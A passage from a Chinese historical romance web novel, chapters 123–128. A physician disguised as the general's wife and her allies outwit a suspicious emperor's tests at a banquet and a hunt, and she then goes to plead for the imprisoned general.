“奴才遵旨。”周海领命退下。
墨司渊独自一人站在营帐中央,手指一下一下地敲击着桌面,发出沉闷的声响。
他的脑海中,不断浮现出“江如梦”那张平凡无奇的面容,和阿孟那张绝世容颜交替闪现。
与此同时,在另一处营帐内,阿孟和贺景行正对着几份药材,眉头紧锁。
“师父,这瘟疫的毒性,比我们预想的还要顽固。”阿孟的声音带着一丝忧虑。
第123章 试探
贺景行捻起一撮药粉,仔细辨别,“是啊,南楚的这些家伙,用毒的手段真是越来越阴狠了。”
他叹了口气,“解毒之法,倒是有些眉目了,只是……还需要一些时间。”
时间不多了,她必须尽快研制出解药,否则,边关将士的性命,危在旦夕。
“师父,我们再加快速度,务必在皇上进一步试探之前,找到解毒之法。”
贺景行也神色凝重:“放心吧,阿孟,为师一定尽力。”
几日后,军营中突然传出消息,皇上要设庆功宴,犒劳三军,庆祝边关大捷。
这个消息,让原本士气低迷的军营,顿时焕发了生机。
将士们奔走相告,脸上露出了久违的笑容。
然而,在顾凛鹤的营帐内,气氛却显得格外凝重。
“庆功宴?”顾凛鹤眉头紧皱,语气担忧,“皇上突然设宴,恐怕没那么简单。”
阿孟也点了点头,眼中闪过一丝警惕:“恐怕,这是皇上又一次试探。”
贺景行冷笑一声,“试探?他墨司渊的试探手段,真是层出不穷。”
旋即,他转身看向阿孟:“阿孟,这次庆功宴,你打算如何应对?”
阿孟沉思片刻,嘴角微微勾起,“既然皇上要试探,那我们就给他一个机会。”
庆功宴当晚,军营中央的空地上,搭起了巨大的营帐。
营帐内灯火通明,将整个军营都映照得如同白昼。
墨司渊高坐在主位之上,冷眼盯着入口处。
而顾凛鹤身穿铠甲,英姿挺拔,挽着“江如梦”的手臂,缓步走进营帐。
阿孟一身素雅的衣裙,脸上依旧是那张平凡的面容,但举手投足间,却带着一种难以掩饰的从容和自信。
墨司渊的目光,瞬间锁定了他们二人。
“顾将军,夫人,快快入座。”周海笑着招呼道,语气和蔼,仿佛之前的猜疑和试探,都从未发生过。
顾凛鹤连忙拱手道谢,和阿孟一同在席间落座。
宴会开始,歌舞升平,觥筹交错。
将士们推杯换盏,纷纷向顾凛鹤敬酒,称赞他英勇杀敌,保家卫国。
顾凛鹤来者不拒,一一回应,脸上始终带着谦逊的笑容。
阿孟则安静地坐在他身边,偶尔和顾凛鹤低语几句,神情自然,举止得体,完全看不出任何破绽。
墨司渊一边欣赏着歌舞,一边暗中观察着阿孟和顾凛鹤。
他仔细留意着“江如梦”的每一个细小的动作,还有她的那张脸。
然而,他失望了。
这个“江如梦”,表现得实在太过完美,完美得让他几乎要相信,她真的只是一个普通的军医,顾凛鹤的新婚妻子。
她的脸上,也没有那道疤痕。
就在墨司渊心中疑虑稍减之时,他突然想起什么般,举起酒杯,对着顾凛鹤说道:“顾将军,此次边关大捷,你功不可没,朕心甚慰。”
他顿了顿,目光转向阿孟,“今日庆功宴,朕敬你们夫妇一杯。”
墨司渊的话音刚落,营帐内的气氛,瞬间凝固,所有人的目光,都集中在了阿孟和顾凛鹤身上。
顾凛鹤心中一紧,皇上的试探,终于来了!
他连忙起身,拉着阿孟一同站起,恭敬地说道:“臣等谢皇上恩典。”
阿孟也神色平静,配合着顾凛鹤,举起酒杯,两人相视一眼,然后一饮而尽。
酒液入喉,辛辣的味道在口中蔓延,阿孟的心中却一片冰凉。
这仅仅只是开始,墨司渊的试探,绝不会如此简单。
就在这时,营帐外突然传来一阵喧哗声,打破了宴会上的平静。
“走水了!走水了!”
嘈杂的喊叫声,由远及近,迅速蔓延开来。
营帐内的歌舞声戛然而止,所有人都被这突如其来的变故惊呆了。
墨司渊的脸色瞬间阴沉下来,他猛地站起身,厉声喝道:“怎么回事?发生了什么事?”
一名侍卫慌慌张张地跑进来,跪倒在地,禀报道:“皇上,不好了,军营后方,突然起了大火!”
“起火?”墨司渊眉头紧皱,眼中闪过一丝疑惑。
边关军营,戒备森严,怎么会突然起火?
他下意识地看向顾凛鹤和
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阿孟,却见两人脸上也露出了惊讶和疑惑的表情。
“快,派人去看看,到底是怎么回事!”墨司渊沉声吩咐道。
侍卫领命而去。
营帐内,一片混乱。
将士们议论纷纷,猜测着起火的原因。
墨司渊的目光,却始终没有离开过顾凛鹤和阿孟,他总觉得,这场突如其来的火灾,似乎有些蹊跷,像是有人故意为之。
就在这时,顾凛鹤突然拉起阿孟的手,急切地说道:“夫人,外面乱起来了,我们还是先回去吧。”
阿孟顺势点了点头,脸上露出一丝担忧,“也好,将军,妾身有些担心。”
顾凛鹤连忙扶着阿孟,向墨司渊告辞,“皇上,营中突发变故,臣先行告退。”
墨司渊眯起眼睛,看着两人匆匆离去的背影,心中疑窦丛生。
这场火灾,来得太过巧合,而且,顾凛鹤和江如梦的反应,也似乎有些过于急切。
墨司渊的脸色愈发阴沉,他心中已经隐隐有了一个猜测。
这场火灾,恐怕并非意外,而是有人故意制造出来的,目的,就是为了帮助顾凛鹤和江如梦,逃离庆功宴!
顾凛鹤和阿孟匆匆离开庆功宴,回到了自己的营帐。
刚一进门,阿孟就长长地舒了一口气,紧绷的神经终于放松下来。
“师父还真是及时雨。”阿孟拍了拍胸口,语气带着一丝庆幸。
顾凛鹤也心有余悸地点了点头,“是啊,皇上的试探,真是防不胜防。”
阿孟微微一笑,“好在师父做事,向来滴水不漏。”
顾凛鹤走到桌前,倒了两杯茶,递给阿孟一杯,“接下来,皇上恐怕会更加怀疑我们,我们要更加小心才是。”
阿孟接过茶杯,点了点头,神色凝重地应下:“嗯,我知道。”
贺景行倒是还算平和,十分自信地应道:“这**可是我精心制作,不会腐坏,不易破裂,只要你自己小心,想来不会轻易露出破绽。”
“何况你脸上那道疤已经被盖住了。”
阿孟这才下意识伸手抚摸自己原本疤痕的位置。
第124章 下厨
残云收翠,风定尘香。
“阿孟,这面具当真无碍?”顾凛鹤望着铜镜中那张陌生的脸,仍有些不放心。
阿孟轻抚着脸颊,指尖在那细微的边缘处摩挲,浅笑道:“将军放心,这是师父亲手所制,用的乃是极薄的人皮,透气得很,又以特殊药水泡制,与肌肤纹理无异。只要不刻意去撕扯,绝不会露出破绽。”
“至于你脸上那道疤……”贺景行不知何时拿出了一个小瓷瓶,晃了晃,“这药膏你每日涂抹,不出半月,便可痊愈。”
阿孟接过药瓶,心中感激:“多谢师父。”
贺景行摆摆手,径自走到桌边坐下,给自己倒了杯茶:“你我师徒,何须如此客气?为师可舍不得这千娇百媚的徒弟破了相,倒是你,接下来可得小心了。”
阿孟颔首,将药瓶收好。
“时候不早了,我也该回去了。”贺景行起身,拍了拍衣袍上的褶皱,“记住,万事小心。”
“师父慢走。”阿孟和顾凛鹤一同将贺景行送至门口。
待贺景行离开后,阿孟转身对顾凛鹤道:“将军,夜深了,早些歇息吧。”
顾凛鹤却拉住她的手,目光灼灼:“阿孟,你……要睡哪儿?”
阿孟一愣,随即反应过来,指了指一旁的草席:“我睡这里。”
顾凛鹤眉头微蹙,语气不容置喙:“不行,边关苦寒,你一个女子,怎能睡在地上?着凉了怎么办?”
阿孟本想说自己身子骨没那么弱,但触及顾凛鹤关切的眼神,到嘴边的话又咽了回去。“可是将军,你的伤……”
“无妨。”顾凛鹤打断她的话,“我的伤已经好多了,你睡床上,我睡这里。”
他说着,便要脱下外袍,往草席上躺。
阿孟连忙阻止:“将军不可!你的伤还没痊愈,怎能睡在地上?”
“那……”顾凛鹤迟疑了。
阿孟见状,心中一软,轻声道:“将军若是不嫌弃,我们同榻而眠便是。”
顾凛鹤眼中闪过一丝惊诧,但很快又被担忧取代:“这……会不会对你名声有碍?”
“非常时期,顾不得那么多了。”阿孟摇摇头,语气坦然,“将军放心,我不会乱说的。”
顾凛鹤这才放下心来,点了点头。
两人和衣躺在床上,中间隔着一套干净的衣裳距离,谁也没有说话。
夜色渐深,营帐内的烛火轻轻摇曳,将两人的身影拉得很长。
阿孟侧身躺着,望着顾凛鹤的侧脸,心中百感交集。
两人就这样静静地躺着,直到天色微明,才各自起身。
翌日,墨司渊又派周海来传召“江如梦”。
阿孟早有准备,拎起药箱,跟着周海来到了墨司渊的营帐。
“民女江如梦,参见皇上。”阿孟跪地行礼,声音平静。
“平身。”墨司渊的声音从上方传来,带着一丝慵懒。
阿孟起身,垂首站在一旁。
墨司渊缓缓起身,走到阿孟面前,故意凑近她,鼻尖几乎要碰到她的脸颊。
阿孟心中一惊,下意识地向后退了一步,脸上露出惊慌之色:“皇上,您……”
“怎么?怕了?”墨司渊冷笑一声,语气轻佻,“你不是顾将军的夫人吗?怎么还如此怕生?”
阿孟强自镇定,低着头回答:“民女已为人妇,自当恪守妇道,还望皇上自重,以免污了天子清誉。”
“清誉?”墨司渊嗤笑一声,“在这边关之地,你一个军医,整日里和那些糙汉子打交道,又能干净到哪里去?”
阿孟心中怒火中烧,但面上却不敢表露分毫。
他还是这样从不顾他人想法。
“边关条件艰苦,能有个女人伺候,总比那些个糙汉子强太多了,你说是不是?”墨司渊继续逼近,语气愈发轻佻。
阿孟紧咬着下唇,努力控制着自己的情绪。
“皇上,民女蒲柳之姿,实在难登大雅之堂。”阿孟低声说道,只想尽快转移注意力,“民女只会些粗浅的厨艺,若是皇上不嫌弃,民女愿为皇上做些吃食,想必皇上应该吃不惯那些干粮。”
墨司渊闻言,眼中闪过一丝玩味:“哦?你会做饭?”
“略通一二。”阿孟
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回答。
“那好。”墨司渊终于退开一步,“朕倒要看看,你能做出什么花样来。”
“皇上想吃什么,尽管吩咐。”
“不必了,你只管去伙房,随意做些便是。”墨司渊冷脸摆了摆手。
“是。”阿孟应了一声,转身离开。
顾凛鹤得知此事后,立刻赶到伙房。
“阿孟,你没事吧?”顾凛鹤一脸担忧地看着她。
阿孟摇摇头,微微一笑:“我没事,将军不必担心。”
“皇上他……有没有为难你?”顾凛鹤还是不放心。
“没有。”阿孟轻声说道,“皇上只是让我做些饭菜而已。”
顾凛鹤闻言,这才松了口气。
“不行,我不能让你一个人在这里。”顾凛鹤说着,便要挽起袖子,“我来帮你。”
阿孟顿时意会,连忙阻止:“将军,使不得!你是领兵打仗的将军,怎能做这些粗活?”
“这有什么?”顾凛鹤不以为然,“只要能帮到你,做什么都行。”
他执意要帮忙,还对着门口努了努嘴,阿孟拗不过他,只好由着他。
两人在伙房里忙碌起来,顾凛鹤生火,阿孟洗菜切菜,配合得倒也默契。
“如梦,你可真厉害,什么都会做。”顾凛鹤看着阿孟熟练地切着菜,忍不住赞叹道。
阿孟笑了笑,面色甜蜜:“不过是些家常菜罢了,算不得什么。”
“这可不是一般的家常菜。”顾凛鹤看着阿孟做出的色香味俱全的菜肴,眼中满是欣赏,“这手艺,比宫里的御厨也不差。”
阿孟被他夸得有些不好意思,连忙转移话题:“将军快尝尝,味道如何?”
顾凛鹤夹起一块肉,放入口中,细细品尝。
“嗯,好吃!”顾凛鹤连连点头,“如梦,你这手艺,真是妙极!”
阿孟见他喜欢,心中也十分高兴:“将军若是喜欢,以后我天天给你做。”
两人正说着,周海走了进来。
“顾将军,夫人,皇上让你们把饭菜送过去。”
“好,我们这就去。”顾凛鹤应道。
第125章 围猎前夜
两人将做好的饭菜装入食盒,一同来到了墨司渊的营帐。
“皇上,饭菜做好了。”顾凛鹤恭敬地说道。
墨司渊看着两人一同前来,脸色顿时阴沉下来。
“你们倒是恩爱。”墨司渊冷冷地说道。
顾凛鹤连忙解释:“皇上,内子生性腼腆,臣怕她一人前来,会冲撞了皇上,所以才陪她一同前来。还望皇上莫要为难她。”
墨司渊冷哼一声,没有说话。
“皇上,饭菜已经送到了,臣等先行告退。”顾凛鹤说着,便要拉着阿孟离开。
墨司渊审视着二人,周海察觉到他的情绪,连忙问道:
暮色四合,残阳如血。
顾凛鹤和阿孟并肩走回营帐,一路无言。
“阿孟,”顾凛鹤欲言又止,终是忍不住开口,“你可曾怪我?”
阿孟脚步微顿,侧头看向他,轻声道:“怪你什么?”
“怪我方才在皇上面前,那般……”顾凛鹤垂下眼眸,声音低沉。
阿孟摇了摇头,语气平静:“将军不必自责,若是你不来,只怕我还不能走的这么快。”
顾凛鹤抬眸,深深地看了她一眼:“阿孟,你放心,我定会护你周全。”
阿孟微微一笑,没有说话。
她走到桌案前,拿起笔,在一张纸上写下几行字,递给顾凛鹤。
“将军,这是南楚人所用**的成分,以及一些初步的解毒思路。”
顾凛鹤接过纸张,仔细看着,眼中闪过一丝惊讶。
“阿孟,你已经找到解毒之法了?”
阿孟摇了摇头:“还没有完全找到,但已经有了一些眉目。只是,还需要一些时间。”
顾凛鹤将纸张小心翼翼地收好,语气郑重:“阿孟,此事非同小可。若能研制出解药,边关将士便有救了。”
“我知道。”阿孟点点头,“我会尽快。”
她顿了顿,又道:“将军,我想将此事告知皇上。”
顾凛鹤一愣:“告知皇上?”
“皇上虽然对我们多有猜忌,但他毕竟是一国之君。”阿孟解释道,
“边关战事,关系重大。南楚虽然暂时退兵,但难保他们不会卷土重来。若能让皇上知晓此事,他或许会更加重视边关防务。”
顾凛鹤思索片刻,点了点头:“你说得有理。只是皇上未必会相信我们。”
“无妨。”阿孟淡淡一笑,“我们只需将此事告知他,至于他信不信,那是他的事。”
“好。”顾凛鹤应道,“明日我便寻个机会,将此事禀明皇上。”
入夜,墨司渊辗转反侧,难以入眠。
他脑海中不断浮现出“江如梦”的身影,以及她和顾凛鹤之间的亲密举动。
“周海。”墨司渊突然开口。
“奴才在。”周海立刻从外间进来。
“去,给朕查查,边关附近,可有什么适合围猎的地方。”
周海一愣,随即反应过来:“皇上,您是想……”
“朕要狩猎。”墨司渊打断他的话,语气冰冷,“打到的猎物拿来犒劳三军。”
周海连忙应道:“奴才遵旨,奴才这就去安排。”
几日后,周海回禀,说在边关附近,有一处山林,常有珍禽异兽出没,是个极佳的围猎场所。
墨司渊闻言,立刻下令,三日后,举行围猎。
他还特意让周海亲自去顾凛鹤的营帐,传达旨意。
周海领命而去。
来到顾凛鹤的营帐门口,周海一眼就看到了守在外面的沈副将。
沈副将看到周海的那一刻,立刻警惕起来。
“不知道周大人前来有何事吩咐?”
周海看着营帐内,若有所思般问道:“不知道顾将军正在做甚,皇上下令,明日围猎,我要面见周将军传令。”
沈副将稍稍松了口气,恭恭敬敬行礼之后道:“请容在下禀报,将军此时应该还在休息。”
话音落下,沈副将才转身入内。
“将军,皇上要举行围猎。”沈副将的声音中带着疑惑和谨慎
顾凛鹤眉头微皱:“皇上此举,恐怕是醉翁之意不在酒。”
“将军,末将去回了周公公,就说您身体不适,无法参加围猎。”沈副将提议道。
顾凛鹤摇了摇头:“不可。皇上既然下了旨意,我们若是推辞,反而会让他更加怀疑。”
他看向阿孟:“阿孟,你怎么看?”
阿孟沉思片刻,开口
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道:“将军,不如我们……”
她凑近顾凛鹤,低声说出了自己的计划。
顾凛鹤听完,眼中闪过一丝赞赏:“好,就这么办。”
就在这时,营帐外传来周海的声音:“顾将军,皇上有旨,命您三日后,参加围猎。”
顾凛鹤和阿孟对视一眼,立刻做出反应。
顾凛鹤连忙脱下外袍,露出满是伤痕的后背,阿孟则拿起药箱,假装为他上药。
周海等得有些不耐烦,直接走进营帐,一眼便看到了这一幕。
他心中一惊,连忙上前:“顾将军,您这是……”
顾凛鹤强忍着疼痛,装作若无其事的样子:“无妨,一点小伤而已。”
周海仔细打量着顾凛鹤的伤势,又看了看一旁“细心”为他上药的“江如梦”,心中疑虑稍减。
“顾将军,皇上有旨,三日后举行围猎,请您务必参加。”
顾凛鹤眉头微皱:“围猎?可我这伤……”
“皇上说了,顾将军英勇善战,这点小伤,自然不在话下。”周海笑着说道,“还请将军带上夫人一同前往。”
顾凛鹤和阿孟对视一眼,心中了然。
这是墨司渊的又一次试探。
“好,既然皇上有命,末将自当遵从。”顾凛鹤应道。
周海这才满意地离开。
周海走后,顾凛鹤立刻穿好衣服,脸色阴沉下来。
“皇上这分明是在折磨将士们!”顾凛鹤怒道,“边关将士,哪个不是身负重伤?还要陪他去围猎?”
阿孟也微微失神,想起前世在宫中,墨司渊为了自己的私欲,不顾将士们的死活,心中一阵悲凉。
“他就是这样的人。”阿孟轻声说道,“为了一己之私,不惜牺牲他人。”
顾凛鹤看着阿孟,眼中满是心疼,可见她宫中吃了多少苦:“阿孟,要不,你别去了。我来想办法。”
阿孟摇了摇头:“不行。皇上既然点名让我去,我若是不去,他必定会怀疑你。说不定,还会对你不利。”
“可若是墨司渊当着众人对你动手动脚,那该如何?”顾凛鹤还是不放心。
“放心吧,将军。”阿孟微微一笑,“我不会有事的。”
第126章 同行
围猎当日,风和日丽。
山林之中,气氛却并非表面那般轻松,反倒透着几分紧张与肃杀。
阿孟与顾凛鹤并辔而行,看似悠闲,实则都暗自警惕。
墨司渊骑着一匹高头大马,在人群中穿梭,目光却始终若有若无地落在阿孟身上。
沉默了许久,周海意识到皇帝走神,忙低声开口提醒:“皇上,顾将军和顾夫人来了。”
眼看着两人越来越近,墨司渊当即回神,调转马头回了队伍最前。
“今日邀请诸位前来围猎,是为了庆祝此战胜利,诸位将士以命相搏,朕感激不尽!”
“今日所得猎物,将全部由顾夫人负责制成盛宴,诸位一同享用,往后继续为朝廷效力!”
墨司渊慷慨激昂,周围将士们也纷纷附和,可话音落下,他的目光又重新落到阿孟身上。
只有顾凛鹤和阿孟面色凝重。
“将军,皇上似乎一直在看我们。”阿孟压低声音,用只有两人能听到的音量说道。
顾凛鹤微微颔首,眼神示意她稍安勿躁:“我知道,别怕,有我在。”
他的声音低沉而有力,阿孟心中稍定,点了点头。
“驾!”
突然,墨司渊一声令下,众人开始策马奔腾,追逐猎物。
林间顿时响起一阵马蹄声和呼喝声,打破了原有的宁静,墨司渊一马当先,冲在最前面。
他看似在专心狩猎,实则余光一直留意着阿孟。
“皇上,前方有一只鹿!”周海眼尖,指着前方说道。
墨司渊顺着他指的方向看去,果然看到一只**正在林间奔跑。
他嘴角勾起一抹冷笑,心中暗道:机会来了。
“驾!”墨司渊猛地一夹马腹,朝着那只鹿追了过去,“周海,火速来接应朕!”
他故意将那只鹿往阿孟的方向赶,那鹿受了惊吓,慌不择路,直直地朝着阿孟冲去。
“小心!”顾凛鹤惊呼一声。
阿孟心中一紧,她知道这是墨司渊的试探。
她不能躲,更不能露出破绽!
眼看着那鹿就要撞上自己,阿孟故意身体一歪,装作惊慌失措的样子,眼看就要从马上摔下来。
“如梦!”
顾凛鹤眼疾手快,策马冲上前,一把将她揽入怀中。
两人共乘一骑,险险避开了那只受惊的鹿。
“你没事吧?”顾凛鹤的声音中带着一丝颤抖,显然是吓得不轻。
阿孟摇了摇头,脸色苍白,身体微微颤抖:“我……我没事,多谢将军。”
她紧紧抓住顾凛鹤的衣襟,一副惊魂未定的模样。
“吁——”
墨司渊勒马停在两人面前,脸上看不出任何表情。
“顾将军,没事吧?”他淡淡地问道,目光却落在阿孟身上,语气生硬,显然是只为查看自己是否达到了目的。
阿孟躲在顾凛鹤怀里抽泣,一声又一声喊着害怕。
顾凛鹤连忙翻身下马,将阿孟扶下来,关切地问道:“皇上恕罪,内子受惊了,可否容臣先带她回去休息?”
墨司渊盯着阿孟看了许久,见她神色慌乱,不似作伪,这才缓缓开口:“准了。”
“谢皇上。”顾凛鹤扶着阿孟,转身离开。
“皇上,您就这么让他们走了?”周海有些不解。
墨司渊摇了摇头:“不急,好戏还在后头。”
他望着两人离去的背影,眼中闪过一丝深意。
顾凛鹤扶着阿孟回到营帐,立刻让军医前来诊治。
“夫人只是受了惊吓,并无大碍,休息一下就好。”军医检查过后,恭敬地说道。
顾凛鹤这才放下心来。
“阿孟,你怎么样?有没有哪里不舒服?”顾凛鹤握着她的手,关切地问道。
阿孟摇了摇头,虚弱地笑了笑:“我没事,将军不必担心。”
“都怪我,我不该带你来这种地方。”顾凛鹤一脸自责。
“这不怪你,将军。”阿孟轻声说道,“皇上分明是故意的。”
顾凛鹤眼中闪过一丝怒意:“他就是想试探你,这个卑鄙小人!”
阿孟连忙做出噤声的手势:“当心隔墙有耳,将军莫担心,我都是装的,方才若是不那样做,只怕难逃他的监视。”
顾
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凛鹤微微一愣,心中的担忧不减反增:“这样冒险的事,就算之后再做也要与我商议,哪怕给我一个眼神也好。”
“若是你出了事,那我……”
阿孟笑着应声,点了点头。
“皇上,顾将军和江夫人已经回营了。”周海回到墨司渊身边,禀报道。
墨司渊嗯了一声,没有说话。
“那……我们接下来该怎么办?”
“继续查。”墨司渊语气冰冷,“朕就不信,她能一直瞒天过海!”
周海领命而去。
墨司渊独自站在山林之中,望着远处的群山,心中烦躁不安,而随着顾凛鹤离开的途中,阿孟故意将那封密信掉落在地上。
她算准了时间,墨司渊和周海一定会折返回来,果然,没过多久,墨司渊和周海便出现在营帐外。
“皇上,您看,这是什么?”周海眼尖,发现了地上的密信。
墨司渊捡起信,打开一看,脸色顿时大变。
“南楚!好大的胆子!”墨司渊怒吼一声,将信狠狠地摔在地上,“边关将士因瘟疫死去之人不在少数,不曾想却是他们故意下毒!”
“朕当日就该追到他们营帐去,将这些奸恶之人杀个精光!”
“皇上息怒,穷寇莫追呀!”周海连忙劝道,“此事非同小可,还需从长计议,这封信为何会出现在围猎场上?昨日去探查时,奴才都不曾发现这封信,显然是有人故意在引皇上!”
墨司渊深吸一口气,强压下心中的怒火:“传朕旨意,立刻彻查此事!朕要让南楚付出代价!”
“奴才遵旨。”周海领命而去。
墨司渊望着地上的密信,眼中闪过一丝狠厉。他没有想到,南楚竟然敢如此胆大妄为,竟敢与中原私通。
此事若是不查清楚,必将后患无穷。
墨司渊将全部精力都投入到追查此事上,暂时无暇顾及“江如梦”的身份。
阿孟和顾凛鹤得知计划成功后,心中都松了一口气。
“阿孟,你这招真是高明。”顾凛鹤赞叹道,“既转移了皇上的注意力,又为我们争取了时间。”
第127章 收监
阿孟微微一笑,眸中闪过一丝狡黠:“那条路,只有我和将军走过。若说是将军发现的,直接呈给皇上便是,何须多此一举?皇上生性多疑,定会猜到这是我们故意为之,转移他的视线。”
“只是,这终究是缓兵之计。”顾凛鹤眉宇间露出一丝担忧,“皇上对你的怀疑,恐怕更深了。”
阿孟轻叹一声:“我知道,但眼下,也只能如此了。至少,我们为研制解药争取了时间。”
她走到桌案前,拿起一张写满药方的纸,递给顾凛鹤:“将军,这是我根据南楚**的成分,初步拟定的解毒方子。你且看看,可有需要补充之处?”
顾凛鹤接过药方,仔细研读,眼中渐渐露出惊异之色:“阿孟,你竟已对这**了解至此?!”
阿孟摇了摇头:“将军过誉了。这不过是些皮**,真正的解毒之法,还需师父出马。”
“师父那边,可有消息?”顾凛鹤问道。
“师父说,他已有了些眉目,但还需要一些时日。”阿孟回答,“不过,我相信师父,他定能研制出解药。”
顾凛鹤点了点头,将药方小心翼翼地收好:“有师父在,我们便多了一分胜算。”
他顿了顿,又道:“阿孟,你可知,皇上在调查南楚下毒事件时,对你的怀疑,又加深了几分?”
阿孟闻言,并不意外:“他本就怀疑我,如今更是恨不得将我剥皮拆骨,看个清楚。”
“那你……”顾凛鹤欲言又止。
“将军放心。”阿孟打断他的话,语气坚定,“我自有应对之法。”
与此同时,墨司渊的营帐内,灯火通明。
“皇上,您是说,那封密信是江如梦故意留下的?”周海小心翼翼地问道。
墨司渊冷笑一声:“她和顾凛鹤,定是在唱双簧,想转移朕的注意力!”
“那皇上,您为何还要大张旗鼓地调查此事?”周海不解。
“朕就是要看看,他们究竟想耍什么花招!”墨司渊眼中闪过一丝阴鸷,“朕倒要看看,他们能瞒到几时!”
“皇上圣明。”周海连忙奉承。
“还有,”墨司渊话锋一转,“那几个南楚人,审得如何了?”
“回皇上,已经招了。”周海回答,“他们承认,是受了南楚太子的指使,在边关水源中**。”
“哼,南楚!”墨司渊怒哼一声,“竟敢如此阴险!朕定要让他们付出代价!”
他猛地一拍桌案,震得茶盏都跳了起来。“传朕旨意,将那几个南楚人,挂在城门上示众!朕要让所有人都看看,与朕作对的下场!”
“奴才遵旨。”周海应道。
“皇上,南楚如此猖獗,不如趁此机会,一举攻下,然后班师回朝?”周海趁机进言。
墨司渊却摇了摇头:“不急,还有更重要的事要办。”
他心中,对阿孟的身份之谜,比攻打南楚更为执着。
他总觉得,“江如梦”和阿孟有着千丝万缕的联系。他一定要查个水落石出!
几日后,南楚人在边关城门示众的消息,传遍了整个军营。
将士们群情激愤,纷纷要求出战,为死去的兄弟报仇。
墨司渊却迟迟没有下令,反而将矛头指向了顾凛鹤。
“周海,你去把顾凛鹤给朕叫来。”墨司渊吩咐道。
“是。”周海领命而去。
顾凛鹤接到传召,心中一沉,看来,墨司渊这是要拿他开刀了。
“阿孟,你留在营帐,万事小心。”顾凛鹤临行前,叮嘱道。
“将军放心,我会照顾好自己。”阿孟点点头。
顾凛鹤来到墨司渊的营帐,还未站稳,便听到墨司渊劈头盖脸的质问:“顾凛鹤,这么长时间过去了,解药为何还没研制出来?你可知,若是这瘟疫传染到京城士兵身上,你担得起这个责任吗?!”
顾凛鹤单膝跪地,不卑不亢地回答:“皇上,解药正在加紧制作,还望您再给些时间。”
“再给些时间?”墨司渊冷笑一声,“朕已经给了你们够多的时间了!你若是再拿不出解药,朕就拿你是问!”
“皇上,您……!”顾凛鹤挣扎着,还想
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解释。
“不必多说!”墨司渊粗暴地打断他,“来人,将顾凛鹤给朕扣下,押在营帐外!”
几名侍卫立刻上前,将顾凛鹤五花大绑。
“皇上,您不能这样!”顾凛鹤挣扎着。
“朕为何不能?”墨司渊冷冷地看着他,“你办事不力,朕还不能罚你了?”
“皇上,解药之事并非臣一人之责。还请皇上明察!”顾凛鹤高声说道。
“你还敢狡辩!”墨司渊怒喝一声,“给朕押下去!”
顾凛鹤被侍卫强行拖了出去,沈副将得知此事,立刻赶回阿孟的营帐。
“夫人,不好了!将军被皇上扣下了!”沈副将急匆匆地说道。
阿孟闻言,脸色一变:“什么?皇上为何要扣下将军?”
“皇上说,将军办事不力,研制解药迟缓,要将他……”沈副将吞吞吐吐,不敢说下去。
“要将他怎样?”阿孟追问道。
“要将他押在营帐外,以儆效尤!”沈副将终于说了出来。
“什么?!”阿孟惊呼一声,“这分明是欲加之罪!”
她立刻起身,就要往外走。
“夫人,您不能去!”沈副将连忙拦住她,“皇上正在气头上,您去了,只会火上浇油!”
阿孟深吸一口气,强迫自己冷静下来。“沈副将,你说的对,我不能冲动。”她缓缓说道,“我们得想个办法,救出将军。”
“夫人,您有什么办法?”沈副将问道。
阿孟眼中闪过一丝决然:“我去求皇上。”
“求皇上?”沈副将一愣,“夫人,这……这有用吗?”
“有没有用,总要试一试。”阿孟语气坚定,“我不能眼睁睁地看着将军受苦,而无动于衷。”
“夫人,我陪您一起去!”沈副将说道。
“不,你不能去。”阿孟摇了摇头,“你去了,反而会引起皇上的怀疑。我自己去,更有把握。”
沈副将无奈,只得答应:“是,夫人。”
营帐内,云珠急得团团转,眼见阿孟要走,连忙拉住她的衣袖。
第128章 亲自相救
“夫人,您千万别去!这分明是墨司渊的诱兵之计,就是为了引您现身啊!”云珠眼中满是担忧,声音都带了几分哽咽,“您若去了,岂不是自投罗网?”
阿孟轻轻拍了拍云珠的手,眼神坚定:“我心里有数。”
沈副将在一旁踱步,眉头紧锁:“夫人,将军为我们做了这么多,如今他被皇上扣下,我们不能坐视不理。皇上性情暴躁,万一一怒之下……”他没有说完,但话中之意已然明了。
“沈副将说得对。”贺景行不知何时已站在营帐门口,手中把玩着一个小瓷瓶,“顾将军为我们冒了这么大的险,我们不能见死不救。”
他走到阿孟面前,将瓷瓶塞进她手中:“这是**,若是无计可施,就在墨司渊的茶水中下上一点。”
阿孟接过瓷瓶,掂了掂分量:“师父,这药……”
“放心,不会要他命。”贺景行挑眉一笑,“只是让他睡上一觉罢了。”
阿孟点点头,将瓷瓶藏入袖中,转身向营帐外走去。
“夫人,您当真要去?”云珠还是不放心。
阿孟回头,嘴角微扬:“放心,我不会有事。”
她迈步走出营帐,直奔墨司渊所在之处。远远地,她便看到顾凛鹤被关在营帐外的囚车里,双手被铁链锁住,却依然挺直腰背,神色从容。
阿孟心中一痛,加快脚步走了过去。
“将军!”她低声唤道。
顾凛鹤闻声抬头,见是阿孟,眼中闪过一丝惊讶和担忧:“你怎么来了?快回去!”
“我不能眼看着你受苦。”阿孟蹲下身,隔着囚车的栏杆,轻声道,“我来求皇上放了你。”
“不行!”顾凛鹤急切地摇头,“皇上此举就是为了引你现身,你千万不要中计!”
阿孟微微一笑,悄悄从袖中取出瓷瓶,在顾凛鹤眼前晃了晃:“将军放心,我自有应对之法。”
顾凛鹤见状,稍稍安心,但仍不放心:“你要小心,墨司渊心机深沉,不可轻敌。”
“我知道。”阿孟点头。
正说着,周海从营帐内走出,看到阿孟,眼中闪过一丝诧异:“江夫人,您怎么来了?”
阿孟站起身,整了整衣衫:“我有事求见皇上。”
周海打量了她一番,点点头:“皇上正在里面,我带您进去。”
阿孟最后看了顾凛鹤一眼,跟着周海走进了营帐。
营帐内,墨司渊正坐在案前批阅奏章。听到脚步声,他抬起头,看到阿孟,眼中闪过一丝异色。
“江如梦,你来做什么?”墨司渊放下手中的笔,冷冷地问道。
阿孟上前两步,行了一礼:“民女有事求见皇上。”
墨司渊越看她,心中的怀疑就越深。这个女子,举手投足间的气度,哪里像是一个普通军医?可偏偏她脸上没有那道疤痕,让他无法确定她的身份。
“说吧,什么事?”墨司渊语气生硬。
阿孟直起身,目光坚定地看着墨司渊:“皇上,民女想请您释放我夫君。”
“放了他?”墨司渊冷笑一声,“他办事不力,朕为何要放了他?”
“将军为国征战,立下赫赫战功,就算不嘉奖,也不该如此对待。”阿孟声音不卑不亢,“皇上若是对解药一事不满,大可直接责罚,何必将人关在囚车之中,有辱将军威名?”
墨司渊眉头一皱,眼中闪过一丝怒意:“你一介平民,竟敢如此与朕说话?”
“民女虽是平民,却也知道公道二字。”阿孟毫不退缩,“即便是皇上,也不能随意冤枉忠臣良将。”
